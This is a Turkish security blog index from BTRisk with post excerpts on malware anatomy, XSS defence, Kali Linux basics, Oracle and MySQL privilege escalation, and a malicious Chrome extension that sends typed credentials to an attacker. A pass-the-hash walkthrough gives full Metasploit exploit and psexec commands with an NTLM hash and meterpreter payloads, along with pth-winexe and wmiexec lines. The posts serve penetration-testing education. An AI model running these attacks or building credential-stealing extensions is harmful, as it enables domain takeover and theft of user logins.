17 Kasım 2017

BTRisk Boot-to-Root İmajı BTRSYS2


Geçmiş sınavlarımızda kullandığımız diğer bir boot-to-root imajlarımızdan BTRSYS2 imajımızın bilgileri ve imaj linkini aşağıda bulabilirsiniz.

Machine Name: BTRSys2
IP : DHCP
Difficulty : Beginner / Intermediate
Format : Virtual Machine (VMware)
Description : This is a boot2root machine particularly educational for beginners. Follow us for next BTRSys systems. We hope you enjoy it!

LinkBTRSYS2-INDIR

15 Kasım 2017

13 Kasım 2017

Bir Zararlı Yazılımın Anatomisi - Bölüm 3

ZARARLI YAZILIMIN ÇALIŞTIRILMASI


Öncelikle bir sanal makineye Windows 7 32 Bit işletim sistemi kuruyoruz. Aslında bu zararlı yazılım üzerinde çalışan 32 bitlik bir proses bulunmayan bir 64 bitlik Windows 7 işletim sisteminde etkisiz kalıyor, çünkü injection yapabileceği bir proses bulamıyor (hatırlayın 32 bit’lik bir proses yine 32 bit’lik bir proses’in adres alanına injection yapabiliyordu).

12 Kasım 2017

Bir Zararlı Yazılımın Anatomisi - Bölüm 2

ZARARLI YAZILIM KODLARI

Zararlı yazılım kodları makalemizin birinci bölümünde belirtilmiş olan stratejinin uygulanmasını sağlayacak. Bu bölümde kodları, kodların içindeki yorumları ve alttaki açıklamaları okuyarak tam olarak ne yapılmaya çalışıldığını anlamaya gayret edin.

08 Kasım 2017

Bir Zararlı Yazılımın Anatomisi - Bölüm 1

Zararlı yazılımlar gittikçe önemi artan ve savunanlar tarafından en az bilinen güvenlik tehditlerinden birisi. Mevcut bir zararlı yazılımı internette örneklerinin yayınlandığı bir siteden indirerek, uygun ve güvenli bir laboratuvar ortamı kurarak statik ve dinamik analiz yapabilirsiniz. Ancak biz zararlı yazılımın en net ve etkili biçimde anlaşılması ve anlatılabilmesi için böyle bir yazılımın geliştirilmesi ve sonuçlarının test edilmesi yöntemini seçtik.

16 Ekim 2017

Anti XSS Kütüphanesi ile XSS Saldırılarından Korunma

Anti XSS kütüphanesi .NET platformunda bulunan XSS zafiyetlerini önlemek için oluşturulmuş bir kütüphanedir. Bu kütüphane aracılığıyla  XSS payloadları encode edilerek sunucuya gönderilir.

XSS (Cross Site Scripting) hakkında bilgi sahibi olmak için daha önce yazmış olduğumuz makaleye buraya tıklayarak göz atabilirsiniz.

Anti XSS kütüphanesini anlamak ve kullanımını pekiştirmek için küçük bir uygulama yapacağız, uygulamamızı Visual Studio kullanarak C# dilinde yazacağız.



Projemize XSS_Sayfa1 ve XSS_Sayfa2 olarak 2 adet web form ekliyoruz .


Amacımız sayfa1’deki input alanına yazdıklarımızı sayfa2 ye post etmek.




Sayfa1’e 1 adet textbox ve request işlemimizi yapması için 1 adet buton ekliyoruz.


Kod kısmına gelerek XSS_Class adında bir class ekliyoruz (Sayfa2’ye göndereceğimiz değeri classta tutacağız.)

public class XSS
        {
            public static string XSSPayload;
        }

Butonun click eventine gelerek aşağıdaki kodları yazıyoruz. Textboxa yazılan değeri XSS class’ının XSSPayload özelliğine atıyoruz, sonrasında XSS_Sayfa2.aspx sayfasına yönlendirilmesini sağlıyoruz.

       protected void btnReq_Click(object sender, EventArgs e)
        {
            XSS.XSSPayload = txtXSS.Text;
            Response.Redirect("AntiXSS2.aspx");
        }


XSS_Sayfa2’ye gelerek Page_Load eventinde çalışmasını istediğimiz kod satırlarını yazıyoruz. (Oluşturduğumuz Class’daki XSSPayload özelliğini ekrana yazdırıyoruz.)

protected void Page_Load(object sender, EventArgs e)
        {
            Response.Write(AntiXSS.XSS_Class.XSSPayload);
        }


Uygulamamızı çalıştırıyoruz.

XSS_Sayfa1.aspx’de 1 adet textbox ve 1 adet buton bulunmakta textbox’a standart olarak kullandığımız xss payloadını yazıp gönder butonuna basıyoruz.


Karşımıza bir hata çıkıyor ve xss payloadımız engelleniyor. Ama biz kontrol koymadık nasıl yaptı bunu ?

ASP.NET platformunda geliştirilen yazılımlarda inputlara yazılan ‘<’ işareti ile başlayıp ‘>’ işareti ile biten script tag’leri otomatik olarak varmı yokmu diye kontrol edilir eğer varsa ekrana bu şekilde hata fırlatır. Bunu ASP.NET otomatik olarak kontrol eder.

Hata sayfalarının kullanıcılara gösterilmesi uygulama açısından kritik bilgilerin gösterilebileceği anlamına gelebilir. Bu gibi hata sayfalarının engellenmesi gerekmektedir.

Birçok yazılımcı hata sayfalarını düzeltmek için internette bulduğu çözümü ne gibi sorunlara neden olacağını tahmin edemeyebilir. Hata sayfasının görüntülenmesini engellemek tek satır kod ile mümkündür.
 
Hata sayfasının çözümü olarak Web.config’e yazılacak kod aşağıdaki gibidir.

<pages validateRequest="false"/>


Bu kodu yazdıktan sonra biraz önceki yaptığımız isteği tekrar yapalım.
Sonuç olarak karşımıza hata sayfası çıkmadı ama yazdığımız xss payloadı çalışmış oldu.


Web.config’de yapılan değişiklikler tüm uygulamayı kapsar, ancak bu kontrolü sadece belirli sayfalarda ve belirli inputlarda kapatmakta mümkündür.

aspx sayfasının en üstünde bulunan Page Language ile başlayan satırın içine ValidateRequest="false" yazılırsa validasyon kontrollerinin bu sayfada yapılmayacağı anlamına gelir, yani diğer sayfalarda kontrol devam edecektir.  Aynı şekilde Hangi input için bu kontrolün yapılmasını istemiyorsak ValidateRequestMode="Disabled" yazarakda bu kontrolü o input için kapatmış oluruz.


Şuana kadar hatanın çözümü için yöntemlerden bahsettik, hatanın üretilmesini engelledik ama XSS zafiyetini engelleyemedik tam bu sırada Anti XSS kütüphanesi karşımıza çıkıyor ve bu kütüphane sayesinde XSS zaafiyetinden de korunmuş oluyoruz.

Gerekli kütüphaneyi projemizde kullanacağımız sayfaya ekliyoruz.

using System.Web.Security.AntiXss;

AntiXssEncoder sınıfındaki HtmlEncode özelliğini kullanıyoruz.

Response.Write(AntiXssEncoder.HtmlEncode(AntiXSS.XSS_Class.XSSPayload,false));


Aynı isteği tekrar yaptığımızda sayfanın bize alert üretmediğini görmüş olduk yazdığımız xss payloadını olduğu gibi bize gösterdi, Yani XSS zafiyetini AntiXss kütüphanesi sayesinde önlemiş olduk.
Input Encode


Output Encode


02 Ağustos 2017

12 Mayıs 2017

21 Nisan 2017

Kali Linux - Bölüm 15: Log Altyapısı

Unix ve türevi sistemler uzun süreden beri çok güçlü bir loglama altyapısına sahiptir. Windows’da halen olmamasına rağmen uzun süredir Unix ve türevi sistemlerin uzağa log gönderme kabiliyeti bulunmaktadır.
Sanılanın aksine Unix ve türevi sistemlerdeki tek log dosyası syslog değildir.

06 Nisan 2017

Kali Linux - Bölüm 14: Zamanlı İşler

Unix / Linux sistemlerde ilk zamanlarından bu yana gelişmiş bir özellik olan zamanlı işler özellikle sistem yöneticileri tarafından sıklıkla kullanılmaktadır. “cron” işleri örnek olarak düzenli olarak disk kullanım oranını ölçmek ve sistem yöneticisini uyarmak, uzun süredir kullanılmayan geçici dosyaları sistem üzerinden temizlemek gibi işlemlerde kullanılabilir. Ancak yapılan işlemlerin kritikliğine göre bu sistemi ve konfigürasyonunu iyi anlamak önemlidir.

26 Mart 2017

Kali Linux - Bölüm 13: Sistem Boot Süreci ve Servis Yönetimi

Sistem boot ve shutdown süreçleri

Linux’un boot sürecini anlamak ne işinize yarayabilir? Sisteminiz açıldığında otomatik olarak başlatılan servislerin tam olarak nasıl başlatıldıklarını (ve shutdown sırasında kapatıldıklarını öğrenebilirsiniz). Linux tabanlı bir gömülü sistem oluşturmayı düşündüğünüzde kurgulamanız gereken temel sistem bileşenlerini daha rahat anlarsınız.

17 Mart 2017

Oracle Veritabanı Üzerinden Sistem Ele Geçirme

Veritabanları güçlü fonksiyonaliteleri sayesinde işletim sistemi ele geçirmeye giden yolu bize açabilirler. MSSQL Server için xp_cmdshell extended stored prosedürü ile komut satırı komutu çalıştırma, MySQL için INTO OUTFILE özelliği ile hedef sistemin dosya sistemine dosya yazarak hedef sistem üzerinde kod çalıştırma yöntemleri az sayıda adımda gerçekleştirilebildiği için çok bilinen yöntemlerdir. Ancak Oracle'da aynı sonuçlara ulaşmak için hem daha fazla adım atmak lazım, hem de uygulama geliştirme (ya da en azından kullandığınız uygulama kodunu anlama) ihtiyacı bulunmaktadır.

06 Mart 2017

Pass the Hash Saldırısı ile Domain'i Ele Geçirme

Bir networkte birden fazla client bulunduğunda domain server kurulur. Bu server üzerinde gerekli politikalar oluşturularak kullanıcı oluşturulur. Daha sonra client’lar bilgisayarlarını açmak istediklerinde active directory’deki credential bilgileri ile bilgisayarlarını açarlar. 

Biz burada client üzerinde bulunan parola hash’lerini alarak domain server'ı ele geçireceğiz. Kullanıcı hem client’ta hem de server üzerinde çalışabilen bir kullanıcı olmalıdır.



Client Windows XP SP1 çalışan bir cihaz ve serverda Windows Server 2008 r2 işletim sistemlerine sahiptirler. Client active directory’yi kullanarak login olmaktadır. Xp üzerinde “MS03-026 dcom” açıklığı bulunmaktadır. Bu açıklık yardımıyla parola hashlerini çekeceğiz.

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set RHOST 192.168.2.133
RHOST => 192.168.2.133
msf exploit(ms03_026_dcom) > set RPORT 135
RPORT => 135
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms03_026_dcom) > run 

"run" denilip meterpreter shell açıldıktan sonra ram üzerinde bilgileri çekmemiz gerekmektedir. Meterpreterda "hashdump" yazdığımızda, SAM dosyasındaki bilgileri vermektedir. Bu bizim için yeterli olmayacaktır. Bundan dolayı mimikatz aracını kullanarak aktif olan kullanıcıyıda görüntüleyebileceğiz.


Saldıracağımız kullanıcı "BTRISKLOCAL administrator" olacaktır. Bu kullanıcı hem clientta(XP de), hem de server(Windows Server 2008) de login olabilen bir kullanıcıdır. Bu kullanıcı ile sunucuyu ele geçireceğiz.

Doğru domain bilgilerini öğrenebilmemiz için nmap aracını kullanabilirsiniz.  

nmap -p 445 --script smb-os-discovery 192.168.2.5
use exploit/windows/smb/psexec modulunu kullanarak servera login olunabilmektedir. 

msf >  use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.2.5
RHOST => 192.168.2.5
msf exploit(psexec) > set SMBUser administrator
SMBUser => administrator 
msf exploit(psexec) > set SMBPass f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
SMBPass => f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
msf exploit(psexec) > set SMBDomain btrisklocal
SMBDomain => btrisklocal
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.184.131
LHOST => 192.168.184.131
msf exploit(psexec) > run
 Gerekli bilgileri girildiğinden emin olun.

show options denildiğinde ayarlar aşağıdaki gibi olacaktır.


"run" dedikten sonra server'a giriş yapıyoruz. 


Metasploit kullanmadan da bu işlemleri yapabilirsiniz. Bunun içinde pth-winexe, freerdp-x11, wmiexec.exe(Windowsda) vb. araçlar kullanılabilir. Bu araçlar da aynı mantıkla çalışmaktadır.

#pth-winece Kullanımı
pth-winexe -U DOMAIN/username%hash //IP cmd.exe
pth-winexe -U btrisklocal/administrator%f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e //192.168.2.5 cmd.exe

#freerdp-x11 Kullanımı
xfreerdp /u:username /d:DOMAIN /ptn:hash /v:IP

#Windowsda kullanabileceğiniz wmiexec
.\wmiexec.exe -hashes HASH username@IP
Bulduğunuz hash'i decrypter araçları ile çözerek elde edilen parola ile başka sistemlere authentication uygulanabilir. Belki daha yetkili sistemlere giriş yapmaya izin verebilir. 

Pass The Hash Saldırına Nasıl Engellenebilir?
1 - Eğer SMB servisine ihtiyaç yoksa kapatılmalıdır.
2 - Yönetimsel paylaşımların kapatılması. Pass the Hash yöntemleri bu yöntemi kullandığından, bu paylaşım kapatılmalıdır. Paylaşımları kapatmak için regedite şu değer eklenmelidir;
    "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters\" altında  autosharewks ve  AutoShareServer REG_DWORD tipinde eklenmeli ve değerleri 0 yapılmalıdır. Ya da command line'da aşağıdaki komutlar çalıştırılmalıdır.


    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f

    3 - UAC aktif etme; Kullanıcı Hesap Denetimi kullanılarak çalıştırılabilir bir dosya çalıştırıldığında kullanıcıdan izin istemesi sağlanmalıdır. Bunun için;
      Denetim Masası (Control Panel) -> Kullanıcı Hesapları (User Accounts) sayfasında Kullanıcı Hesabı Denetimini aç veya kapat (Turn User Account Control on or off) seçeneği tıklanır. Çıkan sayfadaki düğmenin onayı kaldırılıp Tamam'a (OK) tıklanır ve bilgisayar yeniden başlatılır. Ya da Regeditte aşağıdaki değişiklik uygulanmalıdır.

      "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" altında "EnableLUA" ve "FilterAdministratorToken" değerleri 1 olarak değiştirilmelidir. 


      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d 1 /f
      Böylece sisteme girişler engellenmiş olur.

      23 Şubat 2017

      Zararlı Chrome Extension Geliştirme

      Kullanıcılar bir takım işlerini kolaylaştırmak için browser eklentisi kullanmaktadır. Fakat bu eklentilerin zararları neler olabileceği hakkında fikirleri bulunmamaktadır. Bazen browser’ın storelarından bazen de zararlı bir çalıştırılabilir (executable) kod yardımı ile bu eklentiler browser'a eklenebilmektedir.

      Store'lardan indirilen eklenti normal bir işleşi bulunmaktadır. Fakat bunun yanında bir de saldırganın belirlediği kodlar çalıştırılabilir.

      Zararlı eklenti kurdurmak için, zararlı bir çalıştırılabilir dosya yardımıyla eklenti gizli bir şekilde browser'a eklenebilmekte ve kullanıcı fark etmemektedir. Burada çalıştırılabilir dosya fark edilse, kaldırılsa bile eklenti browser'da kalabilmekte. Böylece sağ gösterip sol vurulmuş olabilir. Bu sadece gizlenmenin, yakalanmamanın bir adımı olarak kullanılabilir. Ama çalıştırılabilir dosya çalıştırıldıktan sonra shell de alınabilir denilebilir. Burada amaca yönelik işlem yapmaya çalışıyoruz. 

      Bu yazımızda zararlı bir extension nasıl geliştirilirilebilir bunun üzerinde duracağız. Bir extension geliştirmek için html ve javascript bilmeniz gerekmektedir. Benim yazdığım extension her web sitesi açıldığında sayfaya yüklendikten sonra kullanıcı adı ve parola bilgilerini bizim belirlediğimiz bir alana göndermektedir.

      Extension oluşturmak için bir manifest.json dosyası olması gerekmektedir. Bu dosya içersinde extension tanımları ve özellikle izinler tanımlanmalıdır.

      Manifest dosyası aşağıdaki gibi olmalıdır.



      • "name" eklentimizin ismidir ve eklentiler sayfasında görünür.
      • "description" eklentiye ait açıklamadır.
      • "version" eklentinin versiyonudur.
      • "background" kısmında ise eklentimizde kullanacağımız ana kütüphaneleri ve geliştirdiğimiz JavaScript dosyalarını belirtiyoruz. 
      • "browser_action" eklentiye ait olaylar ve dosya bağlantıları burada tanımlanır.
      • "default_icon" adres çubuğunun yanında görünecek olan icondur.
      • "popup" icona tıklandığında yüklenecek olan html dosyasının adıdır.
      Event.js aşağıdaki gibi olmalıdır.



      Content.js aşağıdaki gibi olmalıdır.



      Oluşturulan dosyalardan sonra klasör görünümü;



      Şimdi Chrome Eklentiler sayfasına geliyoruz. Eklemek için “developer mode” aktif edilmesi gerekmektedir. Load unpacked extensions butonuna tıklayıpda direk yükleyebiliriz. 



      Aşağıda oluşturduğumuz dosyayı yolunu seçerek bulunduğu dosyaya .crx uzantılı dosyayı ve sertifikayı çıkarmaktadır.



      Artık extension hazır. Extention’ı browser'a eklemeniz gerekmektedir. Dosyayı aşağıdaki gibi extensions sayfasını açarak buradan sürükle bırak yaparak ekleyebilirsiniz. Bu adıma dikkat edin.



      Extention eklendiğe dair bilgileri kontrol etmelisiniz.


      Şimdi test edelim. Kullanıcı herhangi bir siteye girdiğinde kullanıcı adı ve parolasını yazdığında bizim extension bu bilgileri html içinden alarak(sol taraftaki resim), bizim belirlediğimiz adrese(sağ taraftaki resim) göndermektedir. Biz de tabi başka bir saldırı makinasından diyor olacağız. Kullanıcı adı girildiğinde sağ tarafta girilen bilgi saldırgana iletilmiş olur.



      Extension parola bilgisini de göndermektedir. Kullanıcı parola bilgisini girdiğinde saldırgan(sağ taraftaki resim) bu bilgiyi elde edecektir.



      Tabi buraya kadar anlattıklarımız nasıl extention geliştirme ile ilgili oldu. Seneryoları geliştirerek sayfaya ait cookie bilgileri, diğer bilgileri elde edilebilir. 

      Sizin adınıza facebook, twitter ve diğer sosyal ağlarda beğenme, yorum, paylaşım ile karşılaşdığınız olmuştur. Bunu da extension ile yapılabileceğini görmekteyiz. Belki ddos yapmak için bir botnet ağı kurulabilir. Hayal gücünüzü kullanarak saldırı adımları genişletilebilir. 

      13 Şubat 2017

      Google Hacking Temel Bilgiler

      Google Hacking Temel Bilgileri
      Google sızma testi sırasında sağladığı özel anahtar kelimeler de kullanılarak hedef hakkında bilgi toplama amacıyla kullanılabilir. Arama sırasında kullanacağınız kelimelerin başına bazı özel Google terimlerinden yerleştirerek aramanızı daraltabilir ve istediğiniz sayfalara veya bilgilere daha hızlı ulaşabilirsiniz. İşte size bu kullanışlı olan operatörler:


      20 Ocak 2017

      BÜSİBER 2017 Siber Güç Kış Kampı Tamamlandı

      Değerli BÜSİBER ekibiyle gerçekleştirdiğimiz BÜSİBER 2017 Siber Güç Kış Kampı tüm gün süren CTF Lab çalışması ile tamamlandı.

      Bize ve 20 değerli öğrencimize bu imkanı sağlayan Boğaziçi Üniversitesi ve Bilgin Metin hocamıza tekrar şükranlarımızı sunuyoruz. Sadece etkinlik yapalım yaklaşımından uzak, öğrencilerimizin katılım ve çabaları ile bizi etkiledikleri, gurur duyduğumuz başarılı bir çalışma oldu. Türkiye'mizin güvenliğine katkı yapabildiğimiz için çok mutluyuz.


      18 Ocak 2017

      BÜSİBER 2017 Siber Güç Kış Kampı Başladı

      Boğaziçi Üniversitesi BÜSİBER çatısı altında düzenlenen 2017 yılı Siber Güç Kış Kampı'mız kampa katılmaya hak kazanmış farklı üniversitelerden 20 katılımcı öğrencimiz ile devam ediyor.

      Siber güvenlik insan kaynağının geliştirilmesi ve bu alanda kendini geliştirmek amacıyla çaba gösteren değerli gençlerimiz için kaliteli ve ileri düzey bir eğitim içeriğinin öğrencilerimize ulaştırılması yolunda gayret ve desteklerini esirgemeyen BÜSİBER üyeleri, Boğaziçi Üniversitesi öğretim görevlileri ve çalışanlarına şükranlarımızı sunuyoruz.

      Ne iyi ki sizler varsınız.

      01 Ocak 2017

      MySQL UDF (User Defined Function) Fonksiyonalitesi ile Yetki Yükseltme Saldırısı

      Aşağıdaki örneğimiz bir Windows bilgisayar örneği üzerinde gerçekleştirilmiştir. Aynı süreç Linux için de geçerlidir, ancak kullanılacak DDL (yani shared object – SO dosyası) farklı olacaktır.
      Diyelim ki hedef bilgisayarda düşük haklara sahip bir kullanıcı hakları ile shell aldık ve aşağıdaki komutla oluşturduğumuz reverse TCP payload’unu hedef bilgisayara aktardık ve çalıştırdık.